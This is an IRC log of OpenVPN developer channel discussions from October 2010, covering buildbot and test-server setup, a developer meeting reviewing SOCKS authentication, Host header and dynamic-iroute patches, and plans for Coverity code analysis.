I'll try to get buildbot stuff finished by the end of this week, so that I can focus on other stuff 06:07 <@dazo> cool! 06:10 <@mattock> great, inbound SMTP on build.openvpn.net seems to work... now I just need to make sure it does not become a spam relay :) 08:09 <@cron2> argh. windows sucks. (debugging openvpn-no-working with a customer over telephone... and it turns out to be a "no admin, no route" problem... 08:11 <@cron2> (or something else, whatever it is, openvpn works nicely, ifconfig's the tap interface nicely, but all pushed routes are missing, grrr) 09:45 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 11:11 -!- dazo is now known as dazo_afk 15:10 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 276 seconds] --- Log closed Tue Oct 12 18:26:27 2010 --- Log opened Tue Oct 12 18:32:14 2010 18:32 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 18:32 -!- Irssi: #openvpn-devel: Total of 18 nicks [5 ops, 0 halfops, 0 voices, 13 normal] 18:32 -!- SDE [~SDE@93-97-41-44.zone5.bethere.co.uk] has quit [Ping timeout: 240 seconds] 18:32 -!- [1]SDE is now known as SDE 18:33 -!- Irssi: Join to #openvpn-devel was synced in 49 secs 20:10 -!- SDE [~SDE@93-97-41-44.zone5.bethere.co.uk] has quit [Read error: Connection reset by peer] --- Day changed Wed Oct 13 2010 01:59 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 02:08 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 02:11 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 02:39 -!- dazo_afk is now known as dazo 05:20 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 05:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:47 -!- dazo is now known as dazo_afk 08:21 <@mattock> hmm, should we have a meeting tomorrow evening? 08:22 <@mattock> if so, what topics? 10:10 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 11:35 * cron2 won't be there... 11:51 <@cron2> one topic would be "buildbot/automated testing framework" status (and "how to setup automated testing" now that you made the test server work :-) ). 11:51 <@cron2> but we don't need James for that, so we could just discuss this as need arises 11:52 <@cron2> there's a few patches that want ACK/NAKs 14:27 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 14:55 -!- krzie is now known as krzee 15:16 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 272 seconds] 16:28 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 272 seconds] 16:29 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 16:29 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 16:29 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 16:29 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 16:32 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:51 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:20 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: Leaving] 17:20 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 20:35 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 20:38 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds] 21:32 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 22:19 -!- krzie [krzee@hemp.ircpimps.org] has joined #openvpn-devel 22:19 -!- krzie [krzee@hemp.ircpimps.org] has quit [Changing host] 22:19 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel --- Day changed Thu Oct 14 2010 00:58 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:58 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:10 <@mattock> cron2: which patches would need ACK/NACK? 01:12 <@mattock> cron2: and btw, I just got access to the test server, it's not configured yet :) 01:12 <@mattock> dazo: can you make it to the meeting today? 01:14 < krzie> wasnt there some patch that did this: 01:15 < krzie> "It would be quite nice if OpenVPN supported an option to allow only certificates which are both signed by a particular CA and have a particular extension / particular DN element, to avoid this need for an intermediate CA." 01:15 < krzie> wasnt there a patch submitted before that added another piece of the cert to be checked...? 01:21 <@mattock> krzie: I'll check that out 01:21 <@mattock> I'm tracking a few patches also which have not been ACK'd or merged yet 01:22 < krzie> i could be wrong... it may have been using something other than CN to be the username 01:22 < krzie> cant fully remember 01:59 < krzie> https://community.openvpn.net/openvpn 01:59 < krzie> is down 02:34 <@mattock> no it's not :) 02:34 <@mattock> connection problem? 02:37 < krzie> works now 02:38 < krzie> was a python error 02:38 < krzie> weird 02:40 <@mattock> krzie: do you have the error message stored somewhere? 02:40 < krzie> =/ sorry refreshed it 02:40 <@mattock> ok, no probs 02:40 <@mattock> if it happens again let me know 02:52 <@mattock> dazo: do you have anything that you could push to the Git repository? the post-receive hook is now in place 02:52 <@mattock> all that's left is configuring buildbot to parse the git commit emails and trigger builds 02:56 -!- Netsplit *.net <-> *.split quits: chantra_afk, raidzx, krzie, darkwind, @d12fk, @openvpn2009, vpnHelper, waldner, @dazo_afk, helmut, (+5 more, use /NETSPLIT to show all of them) 03:55 -!- Netsplit over, joins: krzie, krzee, waldner, kisom, d12fk 03:55 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:55 -!- Netsplit over, joins: @openvpn2009, @cron2 03:55 -!- ServerMode/#openvpn-devel [+oooo d12fk dazo openvpn2009 cron2] by bartol.freenode.net 03:59 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 03:59 -!- delroth [~delroth@dhaos.delroth.net] has joined #openvpn-devel 03:59 -!- darkwind [~bpayne@rrcs-70-61-50-54.central.biz.rr.com] has joined #openvpn-devel 03:59 -!- chantra_afk [~chantra@unaffiliated/chantra] has joined #openvpn-devel 03:59 -!- helmut [helmut@subdivi.de] has joined #openvpn-devel 03:59 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 03:59 -!- fkr [rqll9dypgc@devon.fsck.us] has joined #openvpn-devel 04:27 <@cron2> mattock: there's one patch in trac#62 (iirc) regarding SOCKS authentication 04:27 <@cron2> mattock: and another one on the list regarding common_name/username stuff 04:33 <@dazo> mattock: I'm planning to join today ... I have a faint hope that the stress level will be reduced around 14:00 UTC today (go/no-go decision for a major release - and no, it's not about RHEL6 ;-) ) ... but I have not been able to follow openvpn-devel or patches in a good while unfortunately, so I got quite some catch-up to do 04:33 <@mattock> cron2: I'll add that to the agenda 04:33 <@mattock> dazo: ok, hope you get to relax soon :) 04:34 <@dazo> mattock: me too :) I know this week will be worst, next two weeks a bit better ... and in November, it should be back to normal :) 04:35 * dazo wonders why everyone likes to plan for big events in October :) .... and he's happy OpenVPN is not joining that carousel ;-) 04:35 <@mattock> just noticed that there's actually no Git commit email parser for buildbot... for some reason they mention the standard "post-receive" hook in the manual... I'm just sending mail to buildbot-devel 04:35 <@mattock> anyways, I could write a Git email parser, or I could update buildbot to latest version and use "GitPoller" 04:36 <@dazo> :) 04:36 <@mattock> I think writing a parser would be more challenging and fun 04:36 <@mattock> the existing ones seem pretty simple 04:36 <@dazo> parsing RFC822 messages can be fun, indeed ... and challenging when you begin with MIME extensions :) 04:39 <@mattock> I think the hard parts are solved by the other email parser classes... could be wrong, though 04:41 <@mattock> oh yes, the existing code uses standard Python email parser utils, so I shouldn't encounter any hairy stuff 04:42 <@mattock> I guess this is one of those "I'll do it in 15 mins" things 04:42 <@mattock> and then it takes 3 days 04:50 <@cron2> whenever I had to parse e-mail in the past, I always took care of every possible detail - and then someone fired up outlook<next version> and generated something yet-differently-broken... :-) 04:51 <@cron2> but that is not a problem here, if all the mails come from git 05:30 <@mattock> cron2: that's true 05:31 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 05:37 -!- krzie [krzee@hemp.ircpimps.org] has joined #openvpn-devel 05:37 -!- krzie [krzee@hemp.ircpimps.org] has quit [Changing host] 05:37 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 05:48 <@mattock> today's topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2010-10-14 05:48 < vpnHelper> Title: Topics-2010-10-14 – OpenVPN Community (at community.openvpn.net) 08:14 -!- larsrh [~lars@unaffiliated/larsrh] has joined #openvpn-devel 08:39 -!- krzy [krzee@hemp.ircpimps.org] has joined #openvpn-devel 08:40 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 08:40 -!- krzie [krzee@66.11.114.212] has joined #openvpn-devel 08:40 -!- krzie [krzee@66.11.114.212] has quit [Changing host] 08:40 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 08:40 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 09:08 -!- krzy [krzee@hemp.ircpimps.org] has quit [Quit: Leaving] 09:56 < krzee> whoa @ iroute patch 09:56 < krzee> looks awesome 10:34 -!- [1]SDE [~SDE@host81-137-144-179.in-addr.btopenworld.com] has joined #openvpn-devel 10:34 < [1]SDE> I want to use username/password for my OpenVPN clients. Does the OpenVPN Access Server print in some file which clients are currently connected? I would like to use the same key/cert for all clients (duplicate-cn option), but prevent them from connecting several times at the same time using the same username/pass 10:43 < krzee> see #openvpn 10:43 < krzee> this is for developers, not support 11:22 -!- [1]SDE [~SDE@host81-137-144-179.in-addr.btopenworld.com] has quit [Ping timeout: 245 seconds] 11:36 -!- [1]SDE [~SDE@host81-137-144-179.in-addr.btopenworld.com] has joined #openvpn-devel 11:42 -!- [1]SDE [~SDE@host81-137-144-179.in-addr.btopenworld.com] has quit [Ping timeout: 245 seconds] 12:16 -!- Busch [6d493239@gateway/web/freenode/ip.109.73.50.57] has joined #openvpn-devel 12:17 < Busch> too late for the meeting? 12:17 < larsrh> Busch: no posts since 16:43 12:17 <@dazo> Busch: it's in 45 min 12:18 < larsrh> dazo: the mail states 18:00 UTC 12:18 < ecrist> gahhh 12:18 <@dazo> larsrh: yeah, and it's 17:18 UTC now 12:18 < Busch> oh, i`ve forgotten the timezone 12:18 < larsrh> aw, summer time 12:18 <@dazo> ;-) 12:19 < larsrh> I always assume UTC = time in UK 12:19 <@dazo> heh ... nah, not always ;-) 12:19 <@dazo> date -u 12:19 <@dazo> that gives you UTC 12:25 -!- dazo is now known as dazo_afk 12:30 < ecrist> Thu Oct 14 17:30:10 UTC 2010 12:59 -!- dazo_afk is now known as dazo 13:00 <@cron2> meeting time 13:01 <@dazo> \o/ 13:01 <@dazo> mattock: mattock mattock mattock where are you!?!!? :-P 13:01 <@mattock> I'm here! don't panic! :) 13:01 <@dazo> heh 13:03 < krzee> woot 13:03 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 13:03 <@dazo> krzee: amazing! we're having a meeting again ;-) 13:03 <@mattock> it's like meeting a long-lost friend again 13:03 <@dazo> yeah :) 13:04 <@mattock> topic list is here: https://community.openvpn.net/openvpn/wiki/Topics-2010-10-14 13:04 < vpnHelper> Title: Topics-2010-10-14 – OpenVPN Community (at community.openvpn.net) 13:04 <@mattock> I'll mail james now 13:06 <@mattock> ok, sent 13:06 <@mattock> perhaps I'll give a brief update on buildbot and the public test server 13:06 <@mattock> ? 13:07 <@dazo> +1 13:07 < krzee> pls do 13:07 <@mattock> okey dokey 13:07 <@mattock> so buildbot first... I was thinking that I could make everything work smoothly by the end of this week 13:08 < krzee> even windows? 13:08 <@mattock> the idea was that a mail to openvpn-commits would trigger a build on all buildslaves 13:08 <@cron2> +1 :) 13:08 <@mattock> krzee: no :) 13:09 <@mattock> so everything went fine, e.g. getting mail to the buildmaster account in correct format 13:09 <@mattock> then I noticed that there is no Git commit email parser in buildbot 13:09 <@mattock> modifying one of the existing ones (e.g. Bzr, launchpad) should be relatively easy 13:09 <@mattock> so I'll probably do that... sent mail to buildbot-devel about that 13:10 <@mattock> if that fails, I can update buildbot and use the s.c. GitPoller which polls the repository for changes 13:10 <@mattock> besides that, buildbot is ready for some real work 13:11 <@mattock> and then the test server 13:12 <@mattock> I got the credentials and started configuring it today... nothing fancy yet, just some software installs 13:12 <@mattock> I'll try to get one thing finished at a time (buildbot first, then test server, then windows build) 13:12 <@mattock> I guess that's all 13:13 <@cron2> sounds good 13:13 <@mattock> oh one thing... once the buildbot build triggers are configured we can build debian packages for each commit (or set of related commits) 13:13 <@mattock> and publish them automaticaly 13:14 <@mattock> lly 13:14 <@mattock> later perhaps push them to an apt repo all our enthuasists can use 13:14 <@mattock> shall we move on to the patches? 13:14 <@cron2> ah, I have something else for your TODO list... 13:14 <@mattock> cron2: excellent! :D 13:15 <@mattock> I was just running out of work, you know :) 13:15 <@cron2> mattock: could you find a way to make 2.1.3-win2k appear on the community software download page? 13:15 <@mattock> hmm... we could add a link to Trac... or I could ask James if it's ok to publish it on openvpn.net download page 13:16 <@dazo> we should get that package signed as well 13:16 <@cron2> well, since we are publishing 2.1.3-win there, and James did the extra work for the win2k package, it seems weird to no thave it there 13:17 <@dazo> I think the core reason for it missing is that his publish script didn't tackle that 13:17 <@mattock> cron2: have many people requested it? because only one guy (out of 2000) responded to my "Win2k support is being removed" mail 13:17 <@mattock> dazo: I think so too 13:17 <@dazo> (james got a script which does all the magic, including updating download page) 13:17 <@cron2> mattock: well, we have made it, it came up on the openvpn-devel list, and it seems 13:17 <@cron2> argh 13:18 <@cron2> we decided "we still support win2k in 2.1.x" 13:18 <@dazo> we decided 2.1.3 will be the last win2k 13:18 <@mattock> cron2: oh yes, then 2.1.3 for win2k should be in openvpn.net 13:19 <@cron2> dazo: well, what I remembered is "if we do security updates for 2.1, we will continue to support win2k, but not for 2.2 and further versions" 13:19 <@mattock> I'll mail James right way... meanwhile perhaps discuss this: https://community.openvpn.net/openvpn/ticket/62 13:19 < vpnHelper> Title: #62 (Support SOCKS plain text authentication) – OpenVPN Community (at community.openvpn.net) 13:20 <@cron2> I've briefly looked at the code and it looks sane - so "semi ACK" from me. The whole socks code is filled with magic constants, though :-( (buf[0] = '\5' stuff) 13:21 <@dazo> cron2: the ticket got updated some days ago, he claims to have fixed that 13:21 <@dazo> delroth: you around ... I'm presuming the SOCKS patch is yours ... 13:21 <@cron2> dazo: well, that's mostly a problem of the already-existing code, so the patch is not to blaim for that 13:21 * dazo throws in a '?' in the sentence above 13:22 <@cron2> "pre?suming" looks weird 13:22 <@dazo> heh 13:22 <@cron2> that's where it landed!! 13:22 <@dazo> ;-) 13:22 <@dazo> your terrain was different ;-) 13:22 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:22 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:23 -!- CareBear\ [peter@stuge.se] has joined #openvpn-devel 13:23 < CareBear\> too late to push for the Host: patch? 13:24 <@dazo> CareBear\: nope 13:24 < CareBear\> :) 13:24 <@mattock> ok, mail about win2k installer sent 13:24 <@cron2> it's on the agenda anyway 13:24 <@cron2> mattock: thanks 13:24 <@dazo> CareBear\: we're on the SOCKS patch 13:24 < CareBear\> will stay quiet until you come to it. thanks! 13:25 <@dazo> I'm willing to give the SOCKS patch an ACK if it goes cleanly into the git tree ... I need to go through it once more to check that it don't do anything less obviously stupid ... but it looks sane to me as well 13:25 <@mattock> hi james! 13:25 <@jamesyonan> hi 13:26 <@mattock> great that you made it! 13:26 <@mattock> have you taken a look at the SOCKS patch: https://community.openvpn.net/openvpn/ticket/62 13:26 < vpnHelper> Title: #62 (Support SOCKS plain text authentication) – OpenVPN Community (at community.openvpn.net) 13:26 <@mattock> it has one semi-ACK and "one ACK after a second review" 13:27 <@mattock> you could trip it over to ACK :) 13:27 <@mattock> the latest patch is here: http://delroth.net/openvpn-socks-auth.patch 13:28 <@dazo> I would like to see a follow-up patch to this one, cleaning up all those \x05\x02\x00 stuff ... to use macros instead ... it would make the less obvious codes more readable, and less prone for bugs later on 13:28 <@cron2> +1 13:29 <@mattock> is there anything else in the patch that needs to fixed? 13:30 <@mattock> or is it ACK after those changes? 13:30 <@dazo> I'm missing an error check on recv() 13:30 <@dazo> in the new socks_username_password_auth() function 13:31 <@dazo> I think I'd like to see that on the select() call as well 13:31 <@cron2> huh? 13:31 <@dazo> ahh ... select() had the error check later on ... 13:31 * cron2 sees an error check on both 13:31 <@cron2> recv() also has 13:31 <@dazo> huh? 13:32 <@dazo> + if (size != 1) 13:32 <@dazo> ahh 13:32 <@dazo> I see it now 13:32 <@mattock> ok, so only \0x05\x02\x00 stuff needs fixing, then 13:32 <@cron2> it even says /* error? */ in the comment above that line :) 13:33 <@dazo> gee ... I need to sleep soon :) 13:33 <@mattock> cron2 or dazo: could you update the ticket #62 with the changes that should be done 13:34 <@dazo> mattock: the thing is that I'm struggling with enforcing it now, due to the same coding style exists in the current code base ... so I'd rather see that as a clean-up patch, either before or after this one 13:35 <@dazo> but I'd like to see both this patch and the clean-up 13:35 <@cron2> mattock: ticket #62 is ok as it stands - but afterwards the whole sock.c needs cleanup 13:35 <@cron2> +1 13:35 <@mattock> I say merge it then, and fix the entire socks.c later 13:36 <@mattock> dazo: could you live with that? :) 13:36 <@dazo> yeah ... but that clean-up task needs to be written down somewhere :) 13:36 <@dazo> Yeah, I can live with that 13:37 <@cron2> let's put it on mattock's TODO list :-) *duck&run* 13:37 <@mattock> Trac would be a good place 13:37 <@dazo> yupp, but a new ticket 13:37 <@mattock> cron2: I could do that, but wouldn't guarantee good results :) 13:37 <@dazo> mattock: we will review it for you ;-) 13:37 <@mattock> :) 13:37 <@mattock> shall we move on to host headers? 13:37 <@cron2> ok 13:38 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/4039 13:38 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:38 <@dazo> CareBear\: 13:38 <@mattock> this has got two ACKs I think (Peter Stuge + cron2?) 13:38 <@cron2> ACK 13:38 <@dazo> yeah 13:38 <@dazo> that's slated for inclusion already 13:39 <@mattock> ok, so it's almost there... just wanted to make sure it was not forgotten 13:39 <@mattock> anything else about that patch? 13:39 <@dazo> mattock: can you make a Trac ticket out of it (if it's not existing) ... and copy the patch over? 13:39 <@dazo> then I won't forget it for sure 13:39 <@mattock> dazo: ok 13:39 <@dazo> thx! 13:40 <@dazo> (I'm sorry for kicking such silly tasks to you ... it's just that I'm overloaded a lot nowadays, and I will forget things which is not written down) 13:41 <@dazo> I have nothing else in regards to that patch ... it looks good 13:41 <@mattock> dazo: no problem 13:41 <@mattock> ok, so next and final patch: http://thread.gmane.org/gmane.network.openvpn.devel/4059 13:41 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:41 <@dazo> are these two patches something we want to include into the 2.2 branch? 13:42 * dazo postpones his question and changes 2 -> 3 13:42 <@cron2> I wouldn't mind 2.2-beta4 13:42 <@dazo> Can someone please tell me in a simple way what this patch does? 13:42 <@dazo> (dynamic-iroute) 13:43 <@cron2> dazo: these mesh people usually don't know which address will show up where. So the patch declares a network to be "this is dynamic stuff" 13:43 <@cron2> when openvpn/server sees an incoming packet from an IP address out of that range, it will auto-iroute this address to the client where it was seen 13:43 <@dazo> so, it's more like "if you don't know this route, you might find it in this tunnel" type of patch? 13:44 <@mattock> dazo: https://community.openvpn.net/openvpn/ticket/63 13:44 < vpnHelper> Title: #63 (HTTP/1.1 Host header) – OpenVPN Community (at community.openvpn.net) 13:44 <@dazo> mattock: thx! 13:44 <@cron2> other way round: if you see yet-unknown addresses from a client, don't drop the packets, but *learn* the address from there 13:44 <@cron2> it's triggered by reception of packets on a p2mp server 13:44 <@dazo> cron2: aha! okay, now I see it clearer ... thx! 13:45 <@cron2> I'm not sure if I fully understand all implications on the code, though 13:46 <@dazo> but that anyway means that the tunnel is either bridged or routed on the client side, or else it would never hit the tunnel ... but then again, this puts trust on the client side 13:46 <@mattock> jamesyonan: any comments on this patch? 13:46 <@cron2> dazo: on the client side, it's always either bridged or routed :-) 13:46 <@dazo> heh ... of course 13:46 < vpnHelper> RSS Update - tickets: #63: HTTP/1.1 Host header <https://community.openvpn.net/openvpn/ticket/63> 13:46 <@dazo> I'm not drunk ... just getting quite tired :) 13:47 <@cron2> dazo: and yes, it's mesh networking "we don't know how the topology is going to look like in the end, it depends on which nodes are up and can see each other" 13:47 -!- Busch [6d493239@gateway/web/freenode/ip.109.73.50.57] has quit [Ping timeout: 265 seconds] 13:47 <@dazo> cron2: thx a lot! I now actually see the purpose of it :) 13:47 <@jamesyonan> The host patch seems fairly reasonable -- if it's what a browser would do, then we should probably do it also. 13:48 <@mattock> delroth: you patch upload to ticket #62 failed because akismet thought it was spam... it's given a few false positives already 13:48 <@mattock> jamesyonan: what about the mesh patch? 13:48 <@dazo> jamesyonan: the host patch is acked ... we're on the --dunamic-iroute patch .... http://thread.gmane.org/gmane.network.openvpn.devel/4059 13:48 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:50 <@mattock> btw. I have a couple things after --dynamic-iroute patch is taken care of 13:51 <@dazo> cron2: I just noticed this line in the --dynamic-iroute patch .... 13:51 <@dazo> struct iroute_ipv6 *iroutes_ipv6; /* IPv6 */ 13:51 <@jamesyonan> what about the concern about routing loops that's expressed in the patch 13:51 <@dazo> is that coming from you? 13:52 <@cron2> dazo: huh, let me check again 13:52 <@jamesyonan> "Drawback: if there are e.g. two 13:52 <@jamesyonan> mesh networks with a double-IP-used conflict, you will end up in endless "ip 13:52 <@jamesyonan> route add" / "ip route del" switching. 13:52 <@cron2> ah, existing code. looks as if that code is based on "allmerged" or "feat_ipv6>_payload" 13:53 <@dazo> cron2: oki, thx 13:54 <@dazo> jamesyonan: yeah, that's concerning 13:55 <@mattock> could the patch be modified to get around that? I was thinking that perhaps this patch could get it's own "testing" git branch 13:55 <@mattock> if we can't include it safely right way 13:57 <@dazo> yeah, I'm willing to branch it out ... but I'd like to see it a branch from bugfix2.1 ... and then we'll have it in the allmerged for a while ... this is more openvpn-2.3 stuff 13:57 <@dazo> and I would like to see IPv6 support as well, if that makes sense ... cron2? 13:57 <@dazo> but that can come later on, when the branch is established 13:58 <@cron2> yep 13:58 < ecrist> what about an ifdef? 13:58 < ecrist> then it will make it to my dev snapshots 13:58 <@dazo> ecrist: definitely! thx for that reminder 13:58 <@cron2> that code is not really suited for #ifdef 13:58 <@mattock> cron2: is it "all over the place"? 13:58 <@mattock> =not isolated neatly 13:59 <@cron2> half of the patch is "adding an extra argument to multi_get_instance_by_virtual_addr()" 13:59 <@dazo> well, there are some established functions which are changed 13:59 < ecrist> perhaps we NACK it and metion that it should be ifdef'able 13:59 <@dazo> it seems to need those API changes ... but the core dynamic-iroute code path is possible to if-def out 13:59 <@cron2> ecrist: that does not make sense 13:59 <@cron2> dazo: ack 14:00 <@cron2> the change inside multi_get_instance_by_virtual_addr() plus the options.c stuff 14:00 * ecrist wanders to another terminal 14:00 <@dazo> yeah 14:01 <@mattock> ok, so what if we ask the author to add ifdefs where applicable and publish it in a separate git branch 14:01 <@cron2> sounds workable 14:01 <@dazo> mattock: yeah, and make base it on bugfix2.1 14:01 <@mattock> ok, who'll respond to the author's mail? 14:02 <@mattock> volunteers? ;) 14:02 <@dazo> cron2: do you have capacity to do that? ... I'm afraid I won't be able to manage it in the very near future 14:03 <@cron2> dazo: not in the near future, sorry. (On thing, I'm developing a flu :(( - and we have workers in the house, remodellign the kitchen, so I'm short on time anyway 14:03 <@cron2> Solaris/tap first 14:03 <@dazo> cron2: fair enough :) 14:04 <@mattock> carebear? :) 14:04 <@dazo> mattock: I can do it, but it won't be before next meeting ... I'm really filled up with stuff to do already 14:04 <@dazo> too much stuff* 14:04 <@mattock> I can respond to the author privately and tell him we'll get back to him 14:04 <@mattock> but I don't try to fill in the details 14:04 <@cron2> mattock: you can point to the meeting logs 14:05 <@dazo> yeah 14:05 <@mattock> ok, let's do that then 14:05 <@mattock> ok, I had few questions / notices 14:06 <@mattock> so I setup TracNotifications (=emails when tickets change) 14:06 <@dazo> To sum it up ... great patch, rebase it on bugfix2.1 instead, add if-defs, what about IPv6 and what about avoiding routing-loops 14:06 <@mattock> have they worked properly? 14:06 <@mattock> do you get spam from Trac to your inbox? 14:06 * dazo haven't noticed anything at all ... 14:07 <@cron2> mattock: I got a comment on #61, but the original reporter is a bit slow in answering, so nothing more since :) 14:08 <@mattock> ok, good enough... let's wait a little and recheck this 14:08 <@mattock> then an update on the OpenBSD buildslave we talked about a while back... fkr promised to provide us with one, and even started configuring it 14:09 <@mattock> then about integrating code analysis tools into build process / buildbot 14:09 <@cron2> all for it! :) 14:09 <@mattock> I checked out Coverity and they have this "Scan" project for OSS projects: http://scan.coverity.com/about.html 14:09 < vpnHelper> Title: :: scan.coverity.com : Accelerating Open Source Quality :: (at scan.coverity.com) 14:10 <@mattock> in a nutshell, the commercial aspect of the project (=Access Server) _might_ be a problem if we need to join "Scan" 14:10 <@cron2> we don't talk about AS on IRC *duck* 14:11 <@dazo> :) 14:11 <@cron2> well. why not just try it and see what happens? 14:11 <@mattock> cron2: I thought about that, but I'm a sneaky bastard... wanted to verify if we have a license or something already (coming from pre-AS days) 14:12 <@mattock> so did not want to alarm them unnecessarily :D 14:12 <@cron2> and...? 14:12 <@mattock> jamesyonan: do we have access to some coverity software besides their "Scan" project? 14:12 <@mattock> cron2: james has all the knowledge about this 14:12 <@cron2> ah 14:13 <@jamesyonan> yeah, we do have an account-type with coverity that they grant to many other open source projects -- not sure if the capability goes beyond scan 14:14 <@mattock> ok, so how do I use it? any links? 14:15 <@jamesyonan> sorry, I'm multitasking with another meeting as well 14:15 <@mattock> no probs 14:15 <@mattock> jamesyonan: could you mail me the details? 14:15 <@jamesyonan> sure 14:15 <@mattock> excellent! 14:15 <@mattock> ok, I think I'm all out of topics 14:15 <@mattock> and so is the topic list 14:16 <@mattock> end of meeting already? 14:16 <@dazo> \o/ 14:16 <@dazo> yes please .... I feel I need to sleep soon :) 14:16 <@mattock> ok, it was fun having a meeting again! 14:17 <@dazo> indeed :) 14:17 <@cron2> good night 14:17 <@mattock> unless somebody else has anything, let's call this a day 14:17 <@mattock> I'll write the summary tomorrow and send Sven-Ola mail about his patch 14:17 <@dazo> g'night ... and thx! 14:17 <@mattock> see you guys later! 14:17 <@mattock> dazo: good night 14:19 -!- dazo is now known as dazo_afk 14:20 -!- Irssi: #openvpn-devel: Total of 20 nicks [6 ops, 0 halfops, 0 voices, 14 normal] 14:21 -!- larsrh [~lars@unaffiliated/larsrh] has left #openvpn-devel [] 14:22 < CareBear\> mattock : sorry, I went to another terminal 14:22 < CareBear\> missed the brief host talk 14:22 < CareBear\> need to run now too 14:22 < CareBear\> I had nothing further :) 14:27 <@mattock> carebear: no probs 14:54 < ecrist> ping mattock 14:54 < ecrist> see pm, please 15:39 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 250 seconds] 15:57 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:00 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 16:04 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 16:06 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 18:27 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 18:27 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 22:22 -!- CareBear\ [peter@stuge.se] has left #openvpn-devel [] --- Day changed Fri Oct 15 2010 00:53 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:53 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:01 -!- chantra_afk [~chantra@unaffiliated/chantra] has quit [Ping timeout: 252 seconds] 01:03 -!- chantra_afk [~chantra@unaffiliated/chantra] has joined #openvpn-devel 03:01 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 03:11 -!- dazo_afk is now known as dazo 03:38 -!- SDE [~SDE@host81-137-144-179.in-addr.btopenworld.com] has joined #openvpn-devel 04:02 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 04:25 -!- SDE [~SDE@host81-137-144-179.in-addr.btopenworld.com] has quit [Ping timeout: 245 seconds] 04:34 -!- krzie [krzee@hemp.ircpimps.org] has joined #openvpn-devel 04:34 -!- krzie [krzee@hemp.ircpimps.org] has quit [Changing host] 04:34 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 04:39 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 04:49 <@mattock> parsing git mails seems straightforward enough, I got some functional python code already 04:50 <@mattock> I got to verify the format of messages git post-receive mail sends, though 05:46 <@dazo> I'll see if I can try to trigger something, if you've set it up on sf.net 06:13 <@mattock> dazo: it would be nice if you could push something to the repository... running the post-receive hook by itself (to make it generate a real sample mail) is not trivial 06:14 <@dazo> mattock: I'll try to do that a little bit later 06:14 <@dazo> today 06:15 <@mattock> I'm trying to figure out what parameters to feed to the hook... it should be the same as what "post-receive" hook gets: http://book.git-scm.com/5_git_hooks.html 06:16 < vpnHelper> Title: Git Book - Git Hooks (at book.git-scm.com) 06:16 <@mattock> <old-value> SP <new-value> SP <ref-name> LF where 06:16 <@mattock> <old-value> is the old object name stored in the ref, 06:16 <@mattock> <new-value> is the new object name to be stored in the ref and 06:16 <@mattock> <ref-name> is the full name of the ref. 06:16 <@mattock> When creating a new ref, <old-value> is 40 0. 06:18 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has 